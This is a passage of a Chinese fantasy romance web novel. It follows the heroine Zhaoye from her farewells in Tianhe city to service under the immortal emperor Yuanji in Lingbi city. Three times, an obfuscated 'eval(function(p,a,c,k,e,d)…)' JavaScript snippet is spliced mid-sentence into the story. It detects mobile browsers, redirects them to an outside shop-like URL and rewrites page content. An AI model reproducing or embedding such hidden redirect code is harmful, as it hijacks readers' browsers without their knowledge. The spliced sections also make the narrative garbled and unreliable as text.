况且,环琛坚持带大铁棘回去,还有另一个至关重要的原因,抱婴椿结出的那颗罕见金色胎果,至今仍无落地生长的迹象。此等奇观,她定要带自己的偶像亲眼一睹才行。 至于大铁棘本人……嗯,他早已失去“发言权”许久了。 离开天翮城前夜,我、盛放、阿烈、浩哥四人再次聚在丽娘曾住过的那间简陋小屋。浊酒几碗,旧事重提,从归德一路走来的种种,此刻想来仍觉恍然若梦。 “还记得吗?”阿烈呷了口酒,咧嘴笑道,“当初在地底下,生死未卜的时候,咱们的圣女大人,可就给咱俩‘封官许愿’了。” 浩哥眨了眨眼,眼底泛起不知是为过往还是今朝而生的泪光,他拍了拍阿烈的肩膀,“是啊……时间的因缘际会,总是这般……叫人琢磨不透。” 历经诸多变故,盛放眉宇间褪去了昔日的彷徨与锐气,沉淀下一种沉稳的光辉。她默然片刻,抬手从发髻上取下一物——正是那支我们在归德地下洞窟中偶然拾得的、样式古朴的白玉簪子。 “照夜,”盛放将簪子递到我面前,声音平和,“这个,给你。” 尾巴从我衣领间探出光晕,好奇地、缓缓地拂过那温润的玉质,仿佛在等待盛放的下文。 “这段时间变故太多,有件小事……我一直没顾得上说,也是怕平白惹你们担心。”盛放的目光扫过我们,神色认真起来。 事情确实蹊跷,却也简单。早在圣女初赛集训期间,那个褐发女子——碎蝶,曾悄然潜入月教院,目标正是这支白玉簪。只是她未曾得手,被当时留守的盛放当场撞破。 “碎蝶?帝君那位女徒弟?”浩哥挠了挠头,接过簪子对着灯光看了看,嘟囔道,“这玩意儿……很值钱?瞧着成色是不错,但撑死了也就值个四五万利衡币吧?” 阿烈缓缓摇头,目光深远,“恐怕没那么简单。那女子……瞧着绝非寻常人物。” 盛放回想当时情景,神色愈发肃然,“我问她为何要偷这簪子,她只是漠然看了我一眼,说,‘想要罢了。’话音未落,人便不见了。” 我从阿烈手中接过那支微凉的玉簪,指尖摩挲着其上简单的纹路,随即笑着将它收进袖中,“那正好给我。等到了灵璧城,找个地方卖了它。我正愁兜里空空,如今又要多负担一张嘴,”我冲他们眨眨眼,“总得攒点盘缠。” “咳咳。”浩哥在一旁清了清嗓子,眼底泛起一丝藏不住的笑意,“说到盘缠……大姐头,有件事得跟你说。之前我在‘外面散步’时,顺手参与了一些……嗯,稳赚不赔的‘小活动’。当然,顺手也帮你和阿烈,用那份免费的‘彩金凭证’,各投了一注。” 在我们三人惊诧的目光中,浩哥不紧不慢地从怀中掏出两张薄薄的、却闪着特殊灵光的凭证,“暴富是没有,”他笑得憨厚,“但托圣女大人的福,咱们也跟着喝了点汤。人均……二十万利衡币。” “浩哥!”盛放立刻板起脸,可眼角的笑意却泄露了她的心情,“说了多少次,不许再沾这些!你再不听,我、我就去阿娘灵位前告你的状!” “哎哟,不敢了不敢了!真不敢了!”浩哥连忙告饶,围着盛放打转作揖,那模样逗得我和阿烈捧腹大笑,连屋中离别的愁绪都被冲淡了几分。 天翮城的故事,似乎就要在此暂告一段落。酒足饭饱,阿烈执意送我回聆音石府。春夜的风已带暖意,远处,月羽木巨大的华盖在夜色中流淌着静谧的银辉,花瓣如羽,轻轻摇曳。 “大姐头,”阿烈望着那株仿佛支撑着整个夜空的神木,声音有些发沉,“你去灵璧城……万事小心。如今我们不在你身边了……哎,你要保重。不对,”他忽然转过头,上下打量我一眼,恢复了惯常的憨直,“不能再重了,不健康。” 我忍不住掩嘴笑起来,“放心吧,我的本事,你还不清楚?” “……”阿烈沉默了一瞬,声音压得更低,带着难得的郑重,“那簪子……你我心里,多少都猜得到点来历。毕竟当初听师爷坦白‘秽道人’那些事时,你、我,还有焉耆……都在场。” 夜风似乎静了一瞬。我抬手,轻轻按住胸口——那里,属于舒岸的力量正散发着恒定而温暖的热度,仿佛微弱却不肯熄灭的火。 “……放心。”我看着阿烈担忧的眼睛,一字一句道,“舒岸的路,我会继续走下去。虽然很难,但我既然继承了他的力量,便要替他,也替所有因此牺牲的人……走下去。我会找到‘秽道人’,不会让大家的血白流。” 阿烈喉头哽咽了一下,重重拍了拍我的肩膀,力道大得让我踉跄半步。他随即望向前方——大路尽头,宏音正披着一身月色,静静地等在那里。 “有空了……得回来看看咱们。”阿烈的声音带着鼻音。 “好。”我用力点头,扬起一个灿烂的笑,“等我接到小青,一定回来。到时候,你这新任的‘守月卿’大人,可得用最高规格招待我才行!” 阿烈用力眨了眨湿润的眼角,冲我高高扬起手,声音在夜风中格外响亮。 “好嘞!一定!大姐头——” “一路顺风——!” 临行前夜,宏音坐在床边给我讲了睡前故事,分别向我和尾巴支付了一个亲亲作为“报酬”后,才掩门离去。我和尾巴窝在温暖的锦被里,开始了睡前的固定仪式:谈心。 尾巴对输棋一事仍耿耿于怀,絮絮叨叨发誓要苦练棋艺,定要再与宏音一决高下。我揉着他暖洋洋的光团安慰,“宏音现在一无所有,穷得叮当响,也很可怜啦。要不……和解算了?” 尾巴立刻不依,光晕乱颤,醋意横生。直到我凑过去,用涂着清甜月羽花口脂的嘴唇在他光晕上蹭了又蹭,留下淡淡莹泽,他才哼哼唧唧地安静下来,心满意足地沉入梦乡。 窗外,皎月高悬深空,星河静静流淌。月羽木那无声的、清辉般的呼唤,仿佛就萦绕在耳畔。我揣好熟睡的尾巴,悄悄翻出后窗,沿着被月光洗得发亮的小径,在无处不在的幽微花香指引下,再次来到那株参天巨木之下。 “小月羽……小月羽?” 我轻唤两声,那通体流淌月华的大树才仿佛不情不愿地,垂下一缕缀满银白花朵的细软枝条。花朵簇拥过来,轻柔拂过我的脸颊,带来一阵微凉的芬芳,那清越的声音里带着一丝幽怨,“心爱的、却又狠心的铸世者啊……你此次前来,是向我作别,还是……永别?” 我伸手抚摸那些柔软如羽的花瓣,任它们依恋地蹭着我的掌心,“都不是。”我仰头,望向树干后方那面沉默的巨壁,“我想看看那月翮壁上,究竟写了什么。” “呵……”月羽木发出一声似嗔似叹的轻笑,花枝轻颤,“和小初一样狡猾。因不知如何好好道别,便选择顾左右而言他,转移话题。”她顿了顿,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月羽木忽然轻轻笑了起来,整棵树的花枝都在夜风中簌簌颤动,声音闷闷的,仿佛从树干深处传来共鸣,“好了,别发牢骚。现在,回答我,我的第二位铸世者——你还会回来吗?” “当然会。”我毫不犹豫,随即又带上一丝憧憬,“不过,我更想先带小青,去看看魔界抱婴椿结出的那颗金色胎果……实在有些好奇。” 月羽木沉默了片刻,一根枝条轻轻落下,像手掌般拍了拍我的头顶,“金色的胎果啊,并非第一次出现。只是,那样的胎果……从未成功落地。” “什么?!”我大吃一惊,下意识攀住月羽木柔韧的枝条。她顺势用那羽毛般的花瓣将我温柔托起,送向更高处。夜风卷着清冽的月光与碎星,仿佛也在我们周身流淌发光。 “你认识抱婴椿?” “呵,同是灵木,自然认得。”月羽木的语气里忽然多了一丝近乎孩子气的别扭,“她是个心软的家伙,对世人的祈求总是全盘接收。这一点,我向来不太赞同。” 我忽然明白了。月羽木这个“大家伙”,或许一直在暗暗赌气。她明明有能力点亮月翮壁,却因埋怨小初的一去不回,也因不赞同抱婴椿“有求必应”的理念,而长久地选择了沉默:对天翮族人的祈祷与心愿,置若罔闻。 我蜷缩在温暖的花心中央,握着怀中安睡的尾巴,在月羽木低沉的、絮絮叨叨的讲述中,听着关于另一位灵木的故事,意识渐渐沉入一片芬芳的银辉里。 故事的结尾,月羽木并未能告诉我那金色胎果中究竟孕育着谁。更多时候,她只是在抱怨抱婴椿的耳根太软,不够强硬,不够……决断。 对于那些既要孩子美丽聪慧,又要强大卓绝的贪心祈愿,拒绝挂果就好。何必自寻烦恼?横竖……人总不会无聊到,真的去与一棵树计较得失吧? 这位个子极高、身形巍峨,性格里却仍存着一抹叛逆与幼稚的月羽木并不知道—— 那些未能如愿以偿的父母,是会遗弃“胎果”的。 不过,好在…… 曾经被遗弃的胎果“盛放”,已然随着月羽木一同,在这片土地上,真正地、绚烂地—— 盛放了。 114. 第114章 合住计划通:宏音 《新朝·顺天二年事录》 新朝顺天二年,人界割南境受妖祸之三城予仙界,疆土余九。 月下州近幾之地,玄洛、银柳二城,忽现妖踪。 其影诡谲,昼伏夜出,噬人灵魄,城郭为之震动。 人君舒尚闻报震怒,颁敕曰:妖异不可近月下,凡触此线者,诛。 遂调重兵,布天罗,彻查二城。闭户绝衢,外人毋近,街巷昼寂如墟。 然高压之下,民恐日深,弃家南奔者如潮,田舍渐空。 人君知不可久持,乃遣密使,夜驰仙界。 使臣伏阶泣告:妖氛侵界,非人界可绝。愿乞仙光,共镇邪秽,护我生民。 仙廷默然未决,然月下危局,已悬于丝发矣。 灵璧城,自之前仙帝登位大典之乱后,破损之处已全然修缮完毕,不仅如此,更添新筑若干,复见往昔的熙攘繁华。长街喧嚷,楼阁流光,我此刻却没心情听说书先生高谈阔论、唾液飞溅,只想逼迫眼前这个两撇胡子的客栈掌柜再给我点优惠。 此行不知稽留多久,我打算讲讲价,能省则省。何况我身侧尚跟着宏音——这身形挺拔、神色淡寂、衣饰清贵却已一无所有的前天翮城主兼聆月使。如今他的食宿用度,皆落我肩上。 一起出门,我才知道宏音养尊处优久了,沾上好些吃不得苦的毛病,膳食必求精脩,宿处断不肯将就。月下州最奢华的客栈,勉强能入他眼,只是价格也贵得令人咋舌。 饶是我磨破了嘴皮子,掌柜也不肯让步,可惜我囊中羞涩,又不愿意全部用来“挥霍”掉满足宏音的奢侈生活,只能接受掌柜“只写一间房,倒可便宜些”的离谱提议,并转头征求宏音的意见。 “嗯……好吧,勉强接受共住一屋。”宏音似是认真思考一番,才和颜悦色向我点点头,“但要提前说,我必睡床榻,余者不计。” 头顶忽传来窸窣响动,原是尾巴攀在我发间,闻言顿时光粒迸溅,几乎嚷起来,“啊?凭什么?我也不睡地板!” “总之,只睡床。”宏音好像知道尾巴在说话,虽然尾巴并没有严格意义上的“嘴巴”。 “啊?我也只睡床!”尾巴几乎在咆哮了,他身上喷出的光粒想必能够让宏音体会到何为“震怒”。 可惜,宏音仍旧只是笑脸向我,淡淡道,“写房、付款,照夜。” 房在客栈深处,小院幽寂、花木扶疏,倒也雅致。唯一不好的是仅设一榻。尾巴喋喋不休,不停数落我当初何必一口应承宏音的耗费。我被他叨得心烦,脱口道,“行了行了,你俩睡床,我睡地板,可以了吧。” “不可。”宏音正拂袖查看屋内陈设,此时回过头,眉间轻蹙,“夜寒地潮,小心着凉。” 宏音与我都未携行李——他是输尽身家,天翮城旧物皆变兑赏金;我则是动身那日起身迟了,匆匆而来,半件包裹也没有。 “我还需面见帝君,你自己随处走走。”整顿了衣衫,我便要出门。 宏音忽伸手轻拉住我袖角,替我理了理额前散乱的发丝,眸光温润,低声道,“早归。我等你一同吃晚饭。” 我总感觉哪里怪怪的,但又说不上来。客栈外,溟牙已经极其不耐烦了。押着我上了飞马,他狠狠抱怨了一通,无非是出发那日我起迟了不说,又在焉耆纠缠玄洛君的问题上犹犹豫豫耽误时间,竟比渊寂迟回来一日,若是挨训,溟牙叫我一人担着。 唉,我本想带焉耆同来,谁知它非要挖出刚钻土打算“冬眠两日”的玄洛君一并带走。纠缠半晌,新任聆月使浩哥看不下去了,拎起焉耆后颈,说由他暂且照看,待那小蛇醒透,再让二者结伴来灵璧城。 ——说来气候早已转暖,夏天都快到了,还冬眠什么? 没好脸色的溟牙瞪圆眼睛,回我一句:仪式感懂不懂,仪式感! 好吧,对于需要冬眠的玄洛君来说,一整个冬日都没正儿八经好好冬眠,总感觉缺点什么。 算了,不理解但是尊重。 嵊风殿踞于仙宫极处,往上便是璇玑阶通往的坐忘矶。“嵊风”二字取自古意——嵊者,山势峻峙、群峰交耸之貌;风者,天地吐纳、万象流息之机。这殿倒也名副其实。 殿是木殿,形制极简,飞檐低垂,似苍鹤敛翅。不饰金彩,不雕龙凤,静、朴、空、敛四个字足以形容。 三千垂丝幔垂悬殿中,无声拂动,恍若有形之息,宛转述说着无处不在的“风”。 因殿心那口“彻地风眼”,正是灵窍开启圣所之一。它并非什么精巧的造物,而是一处天然形成的风眼,这里,只有风,唯有风。 风眼如锥,能助人撬开灵关窍——此窍一开,人身方可引纳交融于风中的仙力,进而感知、凝炼、贮用。若无此窍,仙力便如无门之院,不得出入。 有些人天分极高,可从自然之界的风感知仙力,而有些人则需要借助风眼,撬开灵关窍。 不过,对于我这样天生便没有灵关窍的人来说,风眼便只是一处普普通通风眼罢了。 除了能吹乱头发,并无他用。 当然,我的身体经由仙丹重铸,依旧没有灵关窍,所以我本身是无法感知和吸纳仙力的,但寄居在我身体里的尾巴可以。 我仅能“看见”经人体淬炼后的仙力,却始终无缘得见——那流转于风中、未经雕琢的、至为原始纯粹的仙力,究竟是何种模样。 一路行来,仙军肃立两侧,往来仙吏神容各异。午后的阳光已带了几分夏日的侵略之意,暖燥炽烈,落在肩头颇有些分量。 绕开重重拂动的纱幔,迎着温燥的风,我来到嵊风殿西北偏殿。此处遍植粉花铃兰,团团簇簇,如垂首的小铃铛在风中轻颤,望去便教人心生悦然。可惜,我没有心思赏花看景,我只想马上见到穆青。 念及那株世间最清皎的青莲,我心头便似被细绳绞紧,一阵闷痛。我下意识去摸腰间——那里已没有青莲瓶的踪影,只余空落。苦涩如潮,漫上喉间,教人难过。 花厅之中,渊寂一袭玄袍端坐主位。另有一身形挺拔的男人背对于我,不知是谁。二人正在叙话,语声低缓。 我倒是在此撞见了个不太愿见的面孔——萤火仙人宋莹。许久未见,她依旧端庄素净、衣袂飘然。眸光在我身上轻轻一转,她便施施然近前低声细语,“你与青莲果真不容小觑。一个两下混成了帝君的女婿,一个摇身一变,竟成了帝君座下第八弟子。”她唇角微扬,“听瑶扇说,你心高气傲,似是不愿拜师?若叫诸位上仙知晓,怕今日便要将你碎成千片。” 我拧起眉,懒得拾掇那所剩无几的教养,径直嗤道,“你先前算计我的账,我可都记着呢。往后你最好睁着眼睛睡觉,哼!” 耳后传来细微波动——是尾巴溜了过来,窃笑着低语,“你又有爹啦!叫你爹收拾她!” 我一听,精神顿振,挺直脊梁恶狠狠补上一句,“况且,如今我有宏音撑腰,你最好小心些!” 意外的是,宋莹面对我这番挑衅竟一时语塞,白玉似的面颊涨得微红,唇瓣动了动,却终究未吐一字,只拂袖转身而去。随在她身后的竺可却悄悄向我眨了眨眼——那是在邀我得空共饮。 一旁看好戏的溟牙冷笑一声,幽幽道,“前有青莲、舒岸给你当靠山,现在又来个宏音,你是不是过于能干了,小八。” 我不满地补充道,“还有魔皇陛下——钩星,以及他的二十七个坐骑!” 毕恭毕敬向渊寂行了礼,我刚要摆出诚恳认错的姿态,他却略抬下颌,语气平淡无波,“照夜,为南翊将军斟茶。” 我微微一怔,执壶上前。借着斟茶之机,悄悄打量起眼前这位武将—— 南翊将军,曾与北祐将军并称“北祐南翊”的那位。从前我只在坊间传闻里听过这位“耳聋将军”的故事,说他因故失聪,后启灵窍苦修二十载,终以仙力重塑鼓膜恢复听觉,更凭此毅力争得功业,步步登云,官至将军。月下州正是由他镇守。 此刻细看,此人面容冷白,唇色浅淡。眉目间有种文官般的清疏审慎,目光沉静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549580|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不似寻常武将凌厉。身量虽高,却因肩线单薄而不显魁梧,一袭青灰软甲更衬出几分儒将风仪,与北祐将军那雄武之态迥然不同。 “听闻帝君了新收高徒,便是这位?”南翊接过茶盏时神情未动,只略扫我一眼。 “嗯。”渊寂啜了口茶,语气随意,“活泼率性,带些孩子的顽气,贪睡赖起。留在身边添些趣味,倒也合适。” 我咬牙一想,渊寂果然像是在逗小猫小狗一样对待我,他不是真想收我为徒弟,不过闲时取乐罢了。 南翊含笑抿茶,声音平稳,“帝君,贵徒乃是月下州的通缉要犯。若可以,还请尽量别返人界,以免横生枝节,产生些不必要的麻烦。” 我大惊失色,果不其然。我虽籍籍无名,却也被人君舒尚列入了黑名单。啧,可惜了我花重金买的小屋,还有我那些好看的衣裳,竟都打了水漂。想到这里,我心头不忿,恶狠狠瞪向南翊:一丘之貉,都不是好东西。 “好了,南翊,要事报与星允,下去。” “是,先生。” 又是震惊的一天,我望着那略有些单薄的背影离开,怔滞无语,南翊竟然称呼渊寂为——先生。也就是说,南翊曾是渊寂的学生。 “这几日有外事,较忙,别偷懒,照夜。”渊寂慢悠悠品着茶,“自己斟红绡茶喝,坐。” 于是乎,我也给自己斟了杯茶,方才未认真观察这我不曾听过的茶,现在一看,茶汤呈殷红色,澄澈如红宝石溶光,毫无浊滞,竟是头一回见。盛在白瓷盏中时,汤面会浮着一层极薄的虹彩油膜,光线下流转如鲛绡,片刻后便悄然消散。 至于香气,略感粘腻,极富侵略性,久绕不散,甚至渗入杯壁。 唇刚触杯沿,不知怎的,几乎是本能般,我只假装抿了一口便放下茶盅,讪讪道,“师父,这几夜徒儿总睡不踏实……茶便不喝了,免得明日又起不来。” “怎么,怕为师下毒害你肚子疼?”渊寂忽而大笑,眸光兴味地落在我脸上,自己却饮尽一杯,“红绡茶取自嫁接改良的澜歌树,培育多年,去年方成。澜歌树长成缓慢,若无仙力浇灌,叶便失却医百病之效。这红绡虽不及原种清丽,胜在产量丰沛,药力未减。” “徒儿身子骨够硬朗了,再强健些,又得裁新衣……” “过来,照夜。” 我慢慢挪到渊寂身侧,半跪下来。他微微俯身,依旧用那双“只为观察”的眼细细审视我。温热干燥的手掌沿我脸颊抚至耳后,轻轻捏了捏耳垂,继而抬起我的下巴,略用了力。 “急着见青莲,却不敢露急色。还是说,你尚未想好如何面对一个‘负心之人’?” “师父明察秋毫,自然看得透徒儿这点心思。”我小心抬眼试探,“所以……小八何时能见青莲上仙一面?” 渊寂嘴角噙着笑,却莫名叫人有股寒意爬上脊梁。继而,又是那阵熟悉的风,带着不加掩饰的侵略、贪婪,从身后慢慢袭来。我回头看去,依旧空无一物。 明明身处无处不在的风中,我却依旧能够感受到那股异状。好似有什么东西因我的察觉而停滞在我鼻尖前:若有若无的风,正在“看”着我。 “不急,青莲与凤琤在九百玲珑秘境中静修,出关后自然会叫你们见上一面。”渊寂将我的脸转回来,神色和煦,“在那之前,照夜——” 渊寂指尖在我下颌轻轻一点—— “好好表现。” 离开花厅时,我心情已然沉到谷底。尾巴感知到我翻涌的怨气,小心翼翼贴在我耳畔——明明是想安慰,说的话却叫人惊心动魄,“干脆闯进九百玲珑境,找到青莲,打晕了带走如何?” 我飞快扫视四周,不知那位被雷枢仙人伤了眼睛的百目仙人是否正隐在暗处窥视。这大闹天宫的行径,自然不能当真。渊寂那句“好好表现”,分明是拿捏住了我的软肋。他必有所图——或者说,是对我体内这颗所谓“鸿珠仙丹”有所图。 罢了,眼下硬碰硬并无益处。不如先暗中探听一下穆青的下落。 115. 115章 仙帝要选天妃啦 原以为今日总算能喘口气,谁知我刚出嵊风殿,麻烦便追了上来。我正与尾巴低声说着话,背后忽有细微碰撞之感。尾巴倏地探出,撩开我长发一瞧——竟是晶盾自行展开,挡下了一记重击。我猛然回头,只见碎蝶紧握自己发颤的右拳,额角沁出冷汗。 “可、可恶……你竟能防住我的暗袭。” 今日心绪本就不佳,我叉腰怒道,“你是不是有毛病!” “绝、绝不让你抢走师父……你给我等着!”碎蝶似是完全没听见我的话,自顾自撂下这狠话,扬手便撒来一把幻鳞粉,随即转身便逃。 我躲闪不及,被那亮晶晶的粉尘扑了满脸。气急败坏冲到廊边小湖,我掬起水拼命冲洗眼睛,将从阿烈那儿学来的骂人话尽数倾倒而出,将碎蝶这莫名其妙的女人骂了八百遍。尾巴在一旁轻声评价:像一头威风凛凛,无能狂怒的雄狮。 这时溟牙慢悠悠晃了过来,语调闲散,“对了,师父吩咐你暂在承御厅听命。明日来早些,近来事多,可别偷懒啊——小八。” “你早知道碎蝶会来找我麻烦是不是?!”我揉着刺疼的眼,怒瞪向溟牙。 这瘦削男人立刻退开两步,耸耸肩,“碎蝶是师父的新宠,你抢了她的位置,她自然记恨。报复你……也不意外罢。” 我咬咬牙,猛地凑上前攥住溟牙衣袖,“穆青到底在哪儿?他会在九百玲珑境哪一重?告诉我!” “不知道。” “臭!毒!牙!” “哎,是真不知。”溟牙甩开我的手,压低嗓音,“这样吧,我替你留意打听。别急,别急。” 原以为今天已经够糟糕,不会再差到哪儿去,结果我低估了现状。 暮色将合时,我才拖着满身疲惫回到灵璧城那间最奢华、也最昂贵的客栈——焦桐馆。馆内黛瓦白墙,檐角悬着青铜铃,廊柱皆是焦桐木,色如凝墨,木纹间暗缕金丝,古朴中透出奢贵。院中不植凡花,唯见疏疏几竿琅玕翠竹,风过时飒飒声如冰弦轻拂。 除了贵得令人心惊,别无缺点。 宏音正端坐屋内研读古籍,见我一脸倦色瘫进软榻,方才抬眼。我亦望向他,心下暗叹,至少这人还算安分,没再添乱。 事实却并非如此。 “噘着嘴,看来心情不佳。”宏音转身从垂帘后托出个乌木盘,笑意温然,“方才趁你外出,替你置办了几身新衣。虽不及量身裁制合体,暂且凑合穿着。” 尾巴跃上盘沿,煞有介事地打量,连声赞叹,“哇哇哇真好看!照夜,一看就合身!” 我简直哭笑不得,“那是我的钱。” “每日出入仙宫,总需衣着得体些。”宏音颔首,神色自若。 “还剩多少?我出门带了二十万利衡币——” “喜欢粉的,还是鹅黄?”宏音依旧面不改色。 我几乎跳起来,“钱花光了,我们住哪?吃什么?去偷去抢,还是行骗?” 尾巴闻言竟不顾场合大笑,“照夜,你也要当法外狂徒了?” 我一把攥住宏音衣领,气得面颊发烫。他却神色未改,只轻轻垂下眼帘,“对不起,照夜。你在外奔波辛苦,我却未能帮上什么。哎,我真是无用。从前无用,如今亦然。” 满腔怒火倏然噎在我喉间。见宏音睫影低垂,我忽然发不出脾气了,甚至慌忙安慰起他来,“不是、不是……我没有怪你。你为我着想,我心里是欢喜的。虽然你有些坏毛病,但——并不是没用的,至少,我很感激你陪我来这一趟。” “是么?”宏音眼角那点湿润尚未褪去,笑意已重新浮起,“那便好。既已买了,试试罢。” 见宏音这般,我一点脾气也没了,乖乖试起新衣。尾巴在一旁看得目瞪口呆,直到夜深要睡时,才凑近我耳边小声嘀咕,“我怎么觉得不太对劲?宏音花光了你的钱,结果却是你心怀愧疚、小心翼翼向他道歉?” 虽因新衣意外合身漂亮,我心情稍霁,倦意却更深。我爬上床榻寻了个舒服姿势躺好,含糊道,“算了算了。他如今一无所有,太惨了些。算了。” 宏音收拾停当,极自然地掀开被子躺在我身侧。我望着他安静的侧脸,心里总觉得哪里有些怪怪的。 只是静谧的夜,唯有风声,催得人眼皮子疯狂打架。 “若青莲背弃了你,该如何是好,照夜。” 躺在我与宏音之间的尾巴率先给出了回应——自然,宏音听不见,“青莲绝不会背弃照夜。无论何时,永远都不会。” “小青不会。”我将脸半埋进枕间,声音有些闷,“我们自幼一同长大,他从未背弃过我。” 宏音缓缓转过身,指尖轻抚过我的脸颊,“你相信的,是从前的回忆,还是如今的现实?” 我把尾巴往怀里搂紧了些,轻声笑了,“我相信他的心……也相信自己的心。” “照夜,”宏音的声音在昏暗中显得格外温和,“若你需要一个拥抱作为慰藉,我永远在这里。” 尾巴猛地从我怀中探出脑袋,恍然低呼,“好啊!原是在这儿等着呢——不行!照夜是我的,只有我能拥抱她、安慰她!” 我笑出声,又把那团光晕塞回衣襟间,合上眼睛,“晚安,宏音。” 承御厅,六司一厅中最靠近仙帝的机构。承御使乃玄珠位阶第四席的笏影仙人,亦是云雾屏的创制者,年逾八百,是位不苟言笑的女仙,总让人想起严厉的教习姑姑。 此刻笏影正立于我面前,周身散发着经年累月沉淀出的端肃雅正。发髻永远梳得纹丝不乱,毫无赘饰。眉目淡远,目光平稳如鉴,无喜无怒,唇角天然带着一丝向下的弧度,不怒自威。仅是被她注视着,我后背便沁出薄汗。 “照夜,迟了两刻。” “对不起,承御使大人……我起晚了。” 送我来的溟牙在一旁幸灾乐祸地撇撇嘴,“人便交给您了,承御使大人。” “嗯。”笏影目光未动,“我来调教她!” 见溟牙离去,我心头更紧。嵊风殿晨风尚凉,还未染上日光的暖意。因起迟受罚,今日我得去服侍渊寂起身。我捧着叠好的玄色长袍,迈着小碎步跟在步履无声、衣袂不扬的笏影身后,心中憋闷,却不敢言。 渊寂的寝殿在嵊风殿深处。意外的是,此处除了零星仙军守卫,并无多少仙婢侍从。说来渊寂如今似是独身,并未纳娶天妃。 “毛毛躁躁。端个衣盘,手心尽是汗。若污了帝君袍服,该当如何?” 我悄悄瞥了笏影一眼,不动声色地将手心在衣侧蹭了蹭。垂落的丝幔随风轻拂,掩映着内室景象,看不真切。 片刻,笏影用手肘轻推我,低声道,“还愣着干嘛?进去服侍帝君。” 哗啦水声漫入我耳中,湿润的气息随暖风扑面而来。我蹑手蹑脚走进殿内,紧张地咽了咽唾沫,只见浴池中泉水淙淙,雾气氤氲里隐约有一人影倚在池边。 那是一具肌理分明的躯体——属于一位“教书先生”的躯体。每一寸皮肤下都蕴蓄着彰显力量的血肉。氤氲热气非但未能起到遮掩的作用,反令那身影在朦胧中更添几分引人探究的意味。 已逾千岁的男人,外表未见丝毫衰颓。或许他的形貌也停驻在了启窍那一瞬——蓬勃、坚实的□□,凝固在三十余岁的盛年。 我将衣盘轻搁一旁,跪地低唤,“师父。” 哗啦水声响起。我垂着头,听见带水的足音裸裎走近。 “碎蝶不会像你这般,像个未经人事的孩子。”渊寂的声音自我头顶落下,带着一丝轻嘲。 我尴尬一笑,慌忙起身,从架上取下丝巾,绕到渊寂身后,小心翼翼擦拭着手掌下温热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549581|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的躯体。 “徒儿从前过惯了衣来伸手饭来张口的日子,确实……不如师姐们机灵。还请师父恕罪。” 待转至渊寂面前,我才迟疑地抬眼。渊寂则唇角噙笑,审视的目光仍黏在我身上,“放松些,照夜。我喜欢莽撞的孩子——这样才不乏味。” 我这才暗暗舒了口气,颊边肌肉稍松。不料心绪一懈,竟脱口问出一句让自己都愕然的话。言出便悔,却已收不回。 “师父……芳光公主故去多年,您还会再选天妃么?” 似是未料我会问及私事,渊寂轻笑着披上外袍,“有此打算。依你看,我该选个怎样的天妃为伴?” 我一边替渊寂细细擦干长发,一边试探,“您喜欢怎样的女子?像芳光公主那般迤逦明媚的?” “不。”渊寂自镜中望向我,眸色深深,“我喜欢美味、纯粹、有趣,且嘴硬的孩子。” “……”我腹诽这喜好着实特别,只是“美味”二字当作何解?不由又想起自己——我又喜欢怎样的人? 想着竟有些羞赧。我竟无法以言语定义自己的喜好。因每当思及“喜欢”,脑中浮现的并非词句,而是一个个具体的人影。 甚至,还有一条尾巴。 正走神间,渊寂忽反手握住我的手腕。镜中,他的目光牢牢锁住我,继续道,“喜欢叛逆、不驯、无礼,内心抵触却不得不硬着头皮迎合,勉强挤出紧张笑容的——” 他顿了顿,眼底笑意渐浓。 “小胖妞。” 镜中的我此刻已大汗淋漓,眼睑不受控制狂跳,嘴角也在“下垂”和“上扬”两种状态中疯狂摇摆,舌根更是又硬又麻,“师父您……说的该不会……是我吧。” “哈哈,不经逗。”渊寂松开手,笑意未减,“罢了。时辰不早,今日行程颇多——唤笏影进来罢。” 我如蒙大赦,几乎踉跄着退了出去。 趁着笏影服侍渊寂更衣的空当,我借着云雾屏大致记下了今日的行程:观摩仙军操练,视察成钧府首期招生,会见玄珠上仙,而后是例行的打坐修心。 前几项我倒不甚在意,唯独那“成钧府”三字,此前从未听闻。好在笏影的云雾屏录存详尽,还能自行勾连相关纪要,只需指尖轻划,便能窥见全貌。 成钧府——乃仙帝主持兴建、用以系统培育仙道人才的高等学府。以“体、炁、用”三级为根本阶次,首重“锻体开窍”,以秘传导引术与药浴淬炼体魄,辅以可控的风眼灌顶,力求尽早启开灵关窍;进而专修“凝炁化力”,于归一殿中系统习得感知、汲取、凝炼、运转仙力之法,夯实根基;终至“道用证真”,在万法阁研习神通衍化,将仙力转化为独具特质的能为,锻造法器,通过试仙考核后,即授仙牌,入世成仙。 读至此,我心绪不禁为之一荡。这建制,倒像是仙界罕有地向人界取经之处。从此,白纸般的凡人不必仅凭机缘开悟或拜师苦修,亦可循阶而上,登入仙途。 